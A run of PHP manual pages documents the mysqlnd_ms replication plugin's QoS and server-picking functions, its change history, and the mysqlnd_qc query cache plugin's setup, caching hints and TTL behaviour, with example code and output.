mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster

Description

bool mysqlnd_ms_set_qos ( mixed $connection , int $service_level [, int $service_level_option [, mixed $option_value ]] )

Sets the quality of service needed from the cluster. A database cluster delivers a certain quality of service to the user depending on its architecture. A major aspect of the quality of service is the consistency level the cluster can offer. An asynchronous MySQL replication cluster defaults to eventual consistency for slave reads: a slave may serve stale data, current data or it may have not the requested data at all, because it is not synchronous to the master. In a MySQL replication cluster only master accesses can give strong consistency, which promises that all clients see each others changes.

PECL/mysqlnd_ms hides the complexity of choosing appropriate nodes to achieve a certain level of service from the cluster. The quality of service filter implements the necessary logic. The filter can either be configured in the plugins configuration file or at run time using mysqlnd_ms_set_qos().

Similar results can be achieved with PECL mysqlnd_ms < 1.2.0, if using SQL hints to force the use of a certain type of node or using the master_on_write plugin configuration option. The first requires more code and causes more work on the application side. The latter is coarser than using the quality of service filter. Settings made through the function call can be reversed, as shown in the example below. The example temporarily switches to a higher service level (session consistency, read your writes) and returns back to the clusters default after it has performed all operations that require the better service. This way, read load on the master can be minimized compared to using master_on_write, which would continue using the master after the first write.

Parameters

connection

A PECL/mysqlnd_ms connection handle to a MySQL server of the type PDO_MySQL, mysqli or mysql for which a service level is to be set. The connection handle is obtained when opening a connection with a host name that matches a mysqlnd_ms configuration file entry using any of the three extensions.

service_level

The requested service level: MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL, MYSQLND_MS_QOS_CONSISTENCY_SESSION or MYSQLND_MS_QOS_CONSISTENCY_STRONG.

service_level_option

An option to parameterize the requested service level. The option can either be MYSQLND_MS_QOS_OPTION_GTID or MYSQLND_MS_QOS_OPTION_AGE.

The option MYSQLND_MS_QOS_OPTION_GTID can be used to refine the service level MYSQLND_MS_QOS_CONSISTENCY_SESSION. It must be combined with a fourth function parameter, the option_value. The option_value shall be a global transaction ID obtained from mysqlnd_ms_get_last_gtid(). If set, the plugin considers both master servers and asynchronous slaves for session consistency (read your writes). Otherwise, only masters are used to achive session consistency. A slave is considered up-to-date and taken into account if it has already replicated the global transaction ID from option_value. Please note, searching appropriate slaves is an expensive and slow operation. Use the feature sparsely, if the master cannot handle the read load alone.

The option MYSQLND_MS_QOS_OPTION_AGE can be used together with the MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL service level to filter out asynchronous slaves that lag more seconds behind the master than option_value. If set, the plugin will consider only slaves for reading for which SHOW SLAVE STATUS reports Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master <= option_value. Please note, searching appropriate slaves is an expensive and slow operation. Use the feature sparsely in version 1.2.0. Future versions may improve the algorithm used to identify candidates. Please, see the MySQL reference manual about the precision, accuracy and limitations of the MySQL administrative command SHOW SLAVE STATUS.

option_value

Parameter value for the service level option. See also service_level_option.

Return Values

Returns TRUE if the connections service level has been switched to the requested. Otherwise, returns FALSE

Notes

Note:

mysqlnd_ms_set_qos() requires PHP >= 5.4.0 and PECL mysqlnd_ms >= 1.2.0. Internally, it is using a mysqlnd library C functionality not available with PHP 5.3.

Examples

Example #1 mysqlnd_ms_set_qos() example

<?php
/* Open mysqlnd_ms connection using mysqli, PDO_MySQL or mysql extension */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Session consistency: read your writes */
$ret = mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION);
if (!$ret)
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Will use master and return fresh data, client can see his last write */
if (!$res = $mysqli->query("SELECT item, price FROM orders WHERE order_id = 1"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Back to default: use of all slaves and masters permitted, stale data can happen */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

See Also

  • mysqlnd_ms_get_last_gtid() - Returns the latest global transaction ID
  • Service level and consistency concept
  • Filter concept

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms_query_is_select
mysqlnd_ms_set_user_pick_server
Mysqlnd_ms Functions


Sets a callback for user-defined read/write splitting

mysqlnd_ms_set_qos
Change History
Mysqlnd_ms Functions
PHP Manual

mysqlnd_ms_set_user_pick_server

(PECL mysqlnd_ms < 1.1.0)

mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting

Description

bool mysqlnd_ms_set_user_pick_server ( string $function )

Sets a callback for user-defined read/write splitting. The plugin will call the callback only if pick[]=user is the default rule for server picking in the relevant section of the plugins configuration file.

The plugins built-in read/write query split mechanism decisions can be overwritten in two ways. The easiest way is to prepend the query string with the SQL hints MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH or MYSQLND_MS_LAST_USED_SWITCH. Using SQL hints one can control, for example, whether a query shall be send to the MySQL replication master server or one of the slave servers. By help of SQL hints it is not possible to pick a certain slave server for query execution.

Full control on server selection can be gained using a callback function. Use of a callback is recommended to expert users only because the callback has to cover all cases otherwise handled by the plugin.

The plugin will invoke the callback function for selecting a server from the lists of configured master and slave servers. The callback function inspects the query to run and picks a server for query execution by returning the hosts URI, as found in the master and slave list.

If the lazy connections are enabled and the callback choses a slave server for which no connection has been established so far and establishing the connection to the slave fails, the plugin will return an error upon the next action on the failed connection, for example, when running a query. It is the responsibility of the application developer to handle the error. For example, the application can re-run the query to trigger a new server selection and callback invocation. If so, the callback must make sure to select a different slave, or check slave availability, before returning to the plugin to prevent an endless loop.

Parameters

function

The function to be called. Class methods may also be invoked statically using this function by passing array($classname, $methodname) to this parameter. Additionally class methods of an object instance may be called by passing array($objectinstance, $methodname) to this parameter.

Return Values

Host to run the query on. The host URI is to be taken from the master and slave connection lists passed to the callback function. If callback returns a value neither found in the master nor in the slave connection lists the plugin will fallback to the second pick method configured via the pick[] setting in the plugin configuration file. If not second pick method is given, the plugin falls back to the build-in default pick method for server selection.

Notes

Note:

mysqlnd_ms_set_user_pick_server() is available with PECL mysqlnd_ms < 1.1.0. It has been replaced by the user filter. Please, check the Change History for upgrade notes.

Examples

Example #1 mysqlnd_ms_set_user_pick_server() example

[myapp]
master[] = localhost
slave[] = 192.168.2.27:3306
slave[] = 192.168.78.136:3306
pick[] = user
<?php

function pick_server($connected, $query, $master, $slaves, $last_used)
{
 static $slave_idx = 0;
 static $num_slaves = NULL;
 if (is_null($num_slaves))
  $num_slaves = count($slaves);

 /* default: fallback to the plugins build-in logic */
 $ret = NULL;

 printf("User has connected to '%s'...\n", $connected);
 printf("... deciding where to run '%s'\n", $query);

 $where = mysqlnd_ms_query_is_select($query);
 switch ($where)
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("... using master\n");
   $ret = $master[0];
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   /* SELECT or SQL hint for using slave */
   if (stristr($query, "FROM table_on_slave_a_only"))
   {
    /* a table which is only on the first configured slave  */
    printf("... access to table available only on slave A detected\n");
    $ret = $slaves[0];
   }
   else
   {
    /* round robin */
    printf("... some read-only query for a slave\n");
    $ret = $slaves[$slave_idx++ % $num_slaves];
   }
   break;
  case MYSQLND_MS_QUERY_LAST_USED:
   printf("... using last used server\n");
   $ret = $last_used;
   break;
 }

 printf("... ret = '%s'\n", $ret);
 return $ret;
}

mysqlnd_ms_set_user_pick_server("pick_server");

$mysqli = new mysqli("myapp", "root", "root", "test");

if (!($res = $mysqli->query("SELECT 1 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT 2 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT * FROM table_on_slave_a_only")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

$mysqli->close();
?>

The above example will output:

User has connected to 'myapp'...
... deciding where to run 'SELECT 1 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.2.27:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT 2 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.78.136:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT * FROM table_on_slave_a_only'
... access to table available only on slave A detected
... ret = 'tcp://192.168.2.27:3306'

See Also

  • mysqlnd_ms_query_is_select() - Find whether to send the query to the master, the slave or the last used MySQL server
  • Filter concept
  • user filter

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms_set_qos
Change History
Mysqlnd_ms Functions


Change History

Table of Contents

  • PECL/mysqlnd_ms 1.2 series
  • PECL/mysqlnd_ms 1.1 series
  • PECL/mysqlnd_ms 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_ms_set_user_pick_server
PECL/mysqlnd_ms 1.2 series
mysqlnd_ms


PECL/mysqlnd_ms 1.2 series

1.2.1-beta

  • Release dates: 01/2012 (beta)
  • Motto/theme: see 1.2.0-alpha

Minor test changes.

1.2.0-alpha

  • Release dates: 11/2011 (alpha)
  • Motto/theme: Global Transaction ID injection and quality-of-service concept

In version 1.2 the focus continues to be on supporting MySQL database clusters with asynchronous replication. The plugin tries to make using the cluster introducing a quality-of-service filter which applications can use to define what service quality they need from the cluster. Service levels provided are eventual consistency with optional maximum age/slave slag, session consistency and strong consistency.

Additionally the plugin can do client-side global transaction id injection to make manual master failover easier.

Feature changes

  • Introduced quality-of-service (QoS) filter. Service levels provided by QoS filter:

    • eventual consistency, optional option slave lag
    • session consistency, optional option GTID
    • strong consistency

  • Added mysqlnd_ms_set_qos() function to set required connection quality at runtime. New constants related to mysqlnd_ms_set_qos():

    • MYSQLND_MS_QOS_CONSISTENCY_STRONG
    • MYSQLND_MS_QOS_CONSISTENCY_SESSION
    • MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL
    • MYSQLND_MS_QOS_OPTION_GTID
    • MYSQLND_MS_QOS_OPTION_AGE

  • Added client-side global transaction id injection (GTID).

  • New statistics related to GTID:

    • gtid_autocommit_injections_success
    • gtid_autocommit_injections_failure
    • gtid_commit_injections_success
    • gtid_commit_injections_failure
    • gtid_implicit_commit_injections_success
    • gtid_implicit_commit_injections_failure

  • Added mysqlnd_ms_get_last_gtid() to fetch last global transaction id.

  • Enabled support for multi master without slaves.

User Contributed Notes

There are no user contributed notes for this page.
Change History
PECL/mysqlnd_ms 1.1 series
Change History


PECL/mysqlnd_ms 1.1 series

1.1.0

  • Release date: 09/2011
  • Motto/theme: Cover replication basics with production quality

The 1.1 and 1.0 series expose a similar feature set. Internally, the 1.1 series has been refactored to plan for future feature additions. A new configuration file format has been introduced, and limitations have been lifted. And the code quality and quality assurance has been improved.

Feature changes

  • Added the (chainable) filter concept:

    • BC break: mysqlnd_ms_set_user_pick_server() has been removed. Thehttp://svn.php.net/viewvc/pecl/mysqlnd_ms/trunk/ user filter has been introduced to replace it. The filter offers similar functionality, but see below for an explanation of the differences.

  • New powerful JSON based configuration syntax.
  • Lazy connections improved: security relevant, and state changing commands are covered.
  • Support for (native) prepared statements.

  • New statistics: use_master_guess, use_slave_guess.

    • BC break: Semantics of statistics changed for use_slave, use_master. Future changes are likely. Please see, mysqlnd_ms_get_stats().

  • List of broadcasted messages extended by ssl_set.
  • Library calls now monitored to remember settings for lazy connections: change_user, select_db, set_charset, set_autocommit.
  • Introduced mysqlnd_ms.disable_rw_split. The configuration setting allows using the load balancing and lazy connection functionality independently of read write splitting.

Bug fixes

  • Fixed PECL #22724 - Server switching (mysqlnd_ms_query_is_select() case sensitive)
  • Fixed PECL #22784 - Using mysql_connect and mysql_select_db did not work
  • Fixed PECL #59982 - Unusable extension with --enable-mysqlnd-ms-table-filter. Use of the option is NOT supported. You must not used it. Added note to m4.
  • Fixed Bug #60119 - host="localhost" lost in mysqlnd_ms_get_last_used_connection()

The mysqlnd_ms_set_user_pick_server() function was removed, and replaced in favor of a new user filter. You can no longer set a callback function using mysqlnd_ms_set_user_pick_server() at runtime, but instead have to configure it in the plugins configuration file. The user filter will pass the same arguments to the callback as before. Therefore, you can continue to use the same procedural function as a callback.callback It is no longer possible to use static class methods, or class methods of an object instance, as a callback. Doing so will cause the function executing a statement handled by the plugin to emit an E_RECOVERABLE_ERROR level error, which might look like: "(mysqlnd_ms) Specified callback (picker) is not a valid callback." Note: this may halt your application.

User Contributed Notes

There are no user contributed notes for this page.
PECL/mysqlnd_ms 1.2 series
PECL/mysqlnd_ms 1.0 series
Change History


PECL/mysqlnd_ms 1.0 series

1.0.1-alpha

  • Release date: 04/2011
  • Motto/theme: bug fix release

1.0.0-alpha

  • Release date: 04/2011
  • Motto/theme: Cover replication basics to test user feedback

The first release of practical use. It features basic automatic read-write splitting, SQL hints to overrule automatic redirection, load balancing of slave requests, lazy connections, and optional, automatic use of the master after the first write.

The public feature set is close to that of the 1.1 release.

1.0.0-pre-alpha

  • Release date: 09/2010
  • Motto/theme: Proof of concept

Initial check-in. Essentially a demo of the mysqlnd plugin API.

User Contributed Notes

There are no user contributed notes for this page.
PECL/mysqlnd_ms 1.1 series
mysqlnd_qc
Change History


Mysqlnd query result cache plugin

  • Introduction
  • Quickstart and Examples
    • Architecture and Concepts
    • Setup
    • Caching queries
    • Setting the TTL
    • Pattern based caching
    • Slam defense
    • Finding cache candidates
    • Measuring cache efficiency
    • Beyond TTL: user-defined storage
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • mysqlnd_qc Functions
    • mysqlnd_qc_clear_cache — Flush all cache contents
    • mysqlnd_qc_get_available_handlers — Returns a list of available storage handler
    • mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available
    • mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache
    • mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache
    • mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache
    • mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached
    • mysqlnd_qc_set_storage_handler — Change current storage handler
    • mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler
  • Change History
    • PECL/mysqlnd_qc 1.1 series
    • PECL/mysqlnd_qc 1.0 series

User Contributed Notes

There are no user contributed notes for this page.
PECL/mysqlnd_ms 1.0 series
Introduction
MySQL


Introduction

The mysqlnd query result cache plugin adds easy to use client-side query caching to all PHP MySQL extensions using mysqlnd.

As of version PHP 5.3.3 the MySQL native driver for PHP ( mysqlnd) features an internal plugin C API. C plugins, such as the query cache plugin, can extend the functionality of mysqlnd.

Mysqlnd plugins such as the query cache plugin operate transparent from a user perspective. The cache plugin supports all PHP applications and all PHP MySQL extensions ( mysqli, mysql, PDO_MYSQL). It does not change existing APIs.

No significant application changes are required to cache a query. The cache has two operation modes. It will either cache all queries (not recommended) or only those queries marked with a certain SQL hint (recommended).

Key Features

  • Transparent and therefore easy to use

    • supports all PHP MySQL extensions

    • no API changes

    • very little application changes required

  • Flexible invalidation strategy

    • Time-to-Live (TTL)

    • user-defined

  • Storage with different scope and life-span

    • Default (Hash, process memory)

    • APC

    • MEMCACHE

    • sqlite

    • user-defined

Limitations

The current 1.0.1 release of PECL mysqlnd_qc does not support PHP 5.4.

Prepared statements and unbuffered queries are fully supported. Thus, the plugin is capable of caching all statements issued with mysqli or PDO_MySQL, which are the only two PHP MySQL APIs to offer prepared statement support.

On the name

The shortcut mysqlnd_qc stands for mysqlnd query cache plugin. The name was chosen for a quick-and-dirty proof-of-concept. In the beginning the developers did not expect to continue using the code base. Sometimes PECL/mysqlnd_qc has also been called client-side query result set cache.

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc
Quickstart and Examples
mysqlnd_qc


Quickstart and Examples

Table of Contents

  • Architecture and Concepts
  • Setup
  • Caching queries
  • Setting the TTL
  • Pattern based caching
  • Slam defense
  • Finding cache candidates
  • Measuring cache efficiency
  • Beyond TTL: user-defined storage

The mysqlnd query cache plugin is easy to use. This quickstart will demo typical use-cases, and provide practical advice on getting started.

It is strongly recommended to read the reference sections in addition to the quickstart. It is safe to begin with the quickstart. However, before using the plugin in mission critical environments we urge you to read additionally the background information from the reference sections.

Most of the examples use the mysqli extension because it is the most feature complete PHP MySQL extension. However, the plugin can be used with any PHP MySQL extension that is using the mysqlnd library.

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Architecture and Concepts
mysqlnd_qc


Architecture and Concepts

The query cache plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter it gets registered as a mysqlnd plugin to replace selected mysqlnd C methods. Hereby, it can change the behaviour of any PHP MySQL extension (mysqli, PDO_MYSQL, mysql) compiled to use the mysqlnd library without changing the extensions API. This makes the plugin compatible with each and every PHP MySQL application. Because existing APIs are not changed, it is almost transparent to use. Please, see the mysqlnd plugin API description for a discussion of the advantages of the plugin architecture and a comparison with proxy based solutions.

Transparent to use

At PHP run time PECL/mysqlnd_qc can proxy queries send from PHP (mysqlnd) to the MySQL server. It then inspects the statement string to find whether it shall cache its results. If so, result set is cached using a storage handler and further executions of the statement are served from the cache for a user-defined period. The Time to Live (TTL) of the cache entry can either be set globally or on a per statement basis.

A statement is either cached if the plugin is instructed to cache all statements globally using a or, if the query string starts with the SQL hint (/*qc=on*/). The plugin is capable of caching any query isssued by calling appropriate API calls of any of the existing PHP MySQL extensions.

Flexible storage: various storage handler

Various storage handler are supported to offer different scopes for cache entries. Different scopes allow for different degrees in sharing cache entries among clients.

  • default (built-in): process memory, scope: process, one or more web requests depending on PHP deployment model used

  • APC: shared memory, scope: single server, multiple web requests

  • SQLite: memory or file, scope: single server, multiple web requests

  • MEMCACHE: main memory, scope: single or multiple server, multiple web requests

  • user (built-in): user-defined - any, scope: user-defined - any

Support for the APC, SQLite and MEMCACHE storage handler has to be enabled at compile time. The default and user handler are built-in. It is possible to switch between compiled-in storage handlers on a per query basis at run time. However, it is recommended to pick one storage handler and use it for all cache entries.

Built-in slam defense to avoid overloading

To avoid overload situations the cache plugin has a built-in slam defense mechanism. If a popular cache entries expires many clients using the cache entries will try to refresh the cache entry. For the duration of the refresh many clients may access the database server concurrently. In the worst case, the database server becomes overloaded and it takes more and more time to refresh the cache entry, which in turn lets more and more clients try to refresh the cache entry. To prevent this from happening the plugin has a slam defense mechanism. If slam defense is enabled and the plugin detects an expired cache entry it extends the life time of the cache entry before it refreshes the cache entry. This way other concurrent accesses to the expired cache entry are still served from the cache for a certain time. The other concurrent accesses to not trigger a concurrent refresh. Ideally, the cache entry gets refreshed by the client which extended the cache entries lifespan before other clients try to refresh the cache and potentially cause an overload situation.

Unique approach to caching

PECL/mysqlnd_qc has a unique approach to caching result sets that is superior to application based cache solutions. Application based solutions first fetch a result set into PHP variables. Then, the PHP variables are serialized for storing in a persistent cache and unserialized when fetching. The mysqlnd query cache stores the raw wire protocol data send from MySQL to PHP in its cache and replayes it, if still valid, on a cache hit. This way, it saves an extra serialization step for a cache put that all application based solutions have to do. It can store the raw wire protocol data in the cache without having to serizalize into a PHP variable first and deserializing the PHP variable for storing in the cache again.

User Contributed Notes

There are no user contributed notes for this page.
Quickstart and Examples
Setup
Quickstart and Examples


Setup

The plugin is implemented as a PHP extension. See also the installation instructions to install the » PECL/mysqlnd_qc extension.

Compile or configure the PHP MySQL extension (mysqli, PDO_MYSQL, mysql) that you plan to use with support for the mysqlnd library. PECL/mysqlnd_qc is a plugin for the mysqlnd library. To use the plugin with any of the existing PHP MySQL extensions (APIs), the extension has to use the mysqlnd library.

Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_qc.enable_qc.

Example #1 Enabling the plugin (php.ini)

mysqlnd_qc.enable_qc=1

User Contributed Notes

There are no user contributed notes for this page.
Architecture and Concepts
Caching queries
Quickstart and Examples


Caching queries

The plugin can either cache all statements by default or, only those that begin with an SQL hint to enable caching. A SQL hint is a SQL standards compliant comment. As a SQL comment it is ignored by the database. A statement is considered eligable for caching if it either begins with the SQL hint enabling caching or it is a SELECT statement.

An individual query which shall be cached must begin with the SQL hint /*qc=on*/. It is recommended to use the PHP constant MYSQLND_QC_ENABLE_SWITCH instead of using the string value.

  • not eliable for caching and not cached: INSERT INTO test(id) VALUES (1)

  • not eliable for caching and not cached: SHOW ENGINES

  • eliable for caching but uncached: SELECT id FROM test

  • eliable for caching and cached: /*qc=on*/SELECT id FROM test

The examples SELECT statement string is prefixed with the MYSQLND_QC_ENABLE_SWITCH SQL hint to enable caching of the statement. The SQL hint must be given at the very beginning of the statement string to enable caching.

mysqlnd_qc.enable_qc=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* Will be cached because of the SQL hint */
$start = microtime(true);
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
printf("Total time uncached query: %.6fs\n", microtime(true) - $start);

/* Cache hit */
$start = microtime(true);
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
printf("Total time cached query: %.6fs\n", microtime(true) - $start);
?>

The above examples will output:

array(1) {
  ["id"]=>
  string(1) "1"
}
Total time uncached query: 0.000740s
array(1) {
  ["id"]=>
  string(1) "1"
}
Total time cached query: 0.000098s

If nothing else is configured, as it is the case in the quickstart example, the plugin will use the built-in default storage handler. The default storage handler uses process memory to hold a cache entry. Depending on the PHP deploymnet model a PHP process may serve one or more web requests. Please, consult the web server manual for details. Details make no difference for the examples given in the quickstart.

The query cache plugin will cache all queries regardless if the query string begins with the SQL hint which enables caching or not, if the PHP configuration directive mysqlnd_qc.cache_by_default is set to 1. The setting mysqlnd_qc.cache_by_default is evaluated by the core of the query cache plugins. Neither the built-in nor user-defined storage handler can overrule the setting.

The SQL hint /*qc=off*/ can be used to disable caching of individual queries if mysqlnd_qc.cache_by_default = 1 It is recommended to use the PHP constant MYSQLND_QC_DISABLE_SWITCH instead of using the string value.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* Will be cached although no SQL hint is present because of mysqlnd_qc.cache_by_default = 1*/
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

$mysqli->query("DELETE FROM test WHERE id = 1");

/* Cache hit - no automatic invalidation and still valid! */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* Cache miss - query must not be cached because of the SQL hint */
$res = $mysqli->query("/*" . MYSQLND_QC_DISABLE_SWITCH . "*/SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
?>

The above examples will output:

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "1"
}
NULL

PECL/mysqlnd_qc forbids caching of statements for which at least one column from the statements result set shows no table name in its meta data by default. This is usually the case for columns originating from SQL functions such as NOW() or LAST_INSERT_ID(). The policy aims to prevent pitfalls if caching by default is used.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");

for ($i = 0; $i < 3; $i++) {

  $start = microtime(true);

  /* Note: statement will not be cached because of NOW() use */
  $res = $mysqli->query("SELECT id, NOW() AS _time FROM test");
  $row = $res->fetch_assoc();

  /* dump results */
  var_dump($row);

  printf("Total time: %.6fs\n", microtime(true) - $start);

  /* pause one second */
  sleep(1);
}
?>

The above examples will output:

array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:10"
}
Total time: 0.000540s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:11"
}
Total time: 0.000555s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:12"
}
Total time: 0.000549s

It is possible to enable caching for all statements including those which has columns in their result set for which MySQL reports no table, such as the statement from the example. Set mysqlnd_qc.cache_no_table = 1 to enable caching of such statements. Please, note the difference in the measured times for the above and below examples.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
mysqlnd_qc.cache_no_table=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");

for ($i = 0; $i < 3; $i++) {

  $start = microtime(true);

  /* Note: statement will not be cached because of NOW() use */
  $res = $mysqli->query("SELECT id, NOW() AS _time FROM test");
  $row = $res->fetch_assoc();

  /* dump results */
  var_dump($row);

  printf("Total time: %.6fs\n", microtime(true) - $start);

  /* pause one second */
  sleep(1);
}
?>

The above examples will output:

array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000546s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000187s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000167s

Note:

Although mysqlnd_qc.cache_no_table = 1 has been created for use with mysqlnd_qc.cache_by_default = 1 it is bound it. The plugin will evaluate the mysqlnd_qc.cache_no_table whenever a query is to be cached, no matter whether caching has been enabled using a SQL hint or any other measure.

User Contributed Notes

There are no user contributed notes for this page.
Setup
Setting the TTL
Quickstart and Examples


Setting the TTL

The default invalidation strategy of the query cache plugin is Time to Live (TTL). The built-in storage handlers will use the default TTL defined by the PHP configuration value mysqlnd_qc.ttl unless the query string contains a hint for setting a different TTL. The TTL is specified in seconds. By default cache entries expire after 30 seconds

The example sets mysqlnd_qc.ttl=3 to cache statements for three seconds by default. Every second it updates a database table record to hold the current time and executes a SELECT statement to fetch the record from the database. The SELECT statement is cached for three seconds because it is prefixed with the SQL hint enabling caching. The output verifies that the query results are taken from the cache for the duration of three seconds before they are refreshed.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.ttl=3
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id VARCHAR(255))");

for ($i = 0; $i < 7; $i++) {

  /* update DB row  */
  if (!$mysqli->query("DELETE FROM test") ||
      !$mysqli->query("INSERT INTO test(id) VALUES (NOW())"))
    /* Of course, a real-life script should do better error handling */
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

  /* select latest row but cache results */
  $query  = "/*" . MYSQLND_QC_ENABLE_SWITCH . "*/";
  $query .= "SELECT id AS _time FROM test";
  if (!($res = $mysqli->query($query)) ||
      !($row = $res->fetch_assoc()))
  {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
  }
  $res->free();
  printf("Wall time %s - DB row time %s\n", date("H:i:s"), $row['_time']);

  /* pause one second */
  sleep(1);
}
?>

The above examples will output:

Wall time 14:55:59 - DB row time 2012-01-11 14:55:59
Wall time 14:56:00 - DB row time 2012-01-11 14:55:59
Wall time 14:56:01 - DB row time 2012-01-11 14:55:59
Wall time 14:56:02 - DB row time 2012-01-11 14:56:02
Wall time 14:56:03 - DB row time 2012-01-11 14:56:02
Wall time 14:56:04 - DB row time 2012-01-11 14:56:02
Wall time 14:56:05 - DB row time 2012-01-11 14:56:05

As can be seen from the example, any TTL based cache can serve stale data. Cache entries are not automatically invalidated, if underlying data changes. Applications using the default TTL invalidation strategy must be able to work correctly with stale data.

User-defined cache storage handler can implement any invalidation strategy to work around this limitation. Please, find more on this below.

The default TTL can be overruled using the SQL hint /*qc_tt=seconds*/. The SQL hint must be appear immediately after the SQL hint which enables caching. It is recommended to use the PHP constant MYSQLND_QC_TTL_SWITCH instead of using the string value.

<?php
$start = microtime(true);

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

printf("Default TTL\t: %d seconds\n", ini_get("mysqlnd_qc.ttl"));

/* Will be cached for 2 seconds */
$sql = sprintf("/*%s*//*%s%d*/SELECT id FROM test WHERE id = 1",
 MYSQLND_QC_ENABLE_SWITCH,
 MYSQLND_QC_TTL_SWITCH,
 2);
$res = $mysqli->query($sql);
var_dump($res->fetch_assoc());
$res->free();

$mysqli->query("DELETE FROM test WHERE id = 1");
sleep(1);

/* Cache hit - no automatic invalidation and still valid! */
$res = $mysqli->query($sql);
var_dump($res->fetch_assoc());
$res->free();

sleep(2);

/* Cache miss - cache entry has expired */
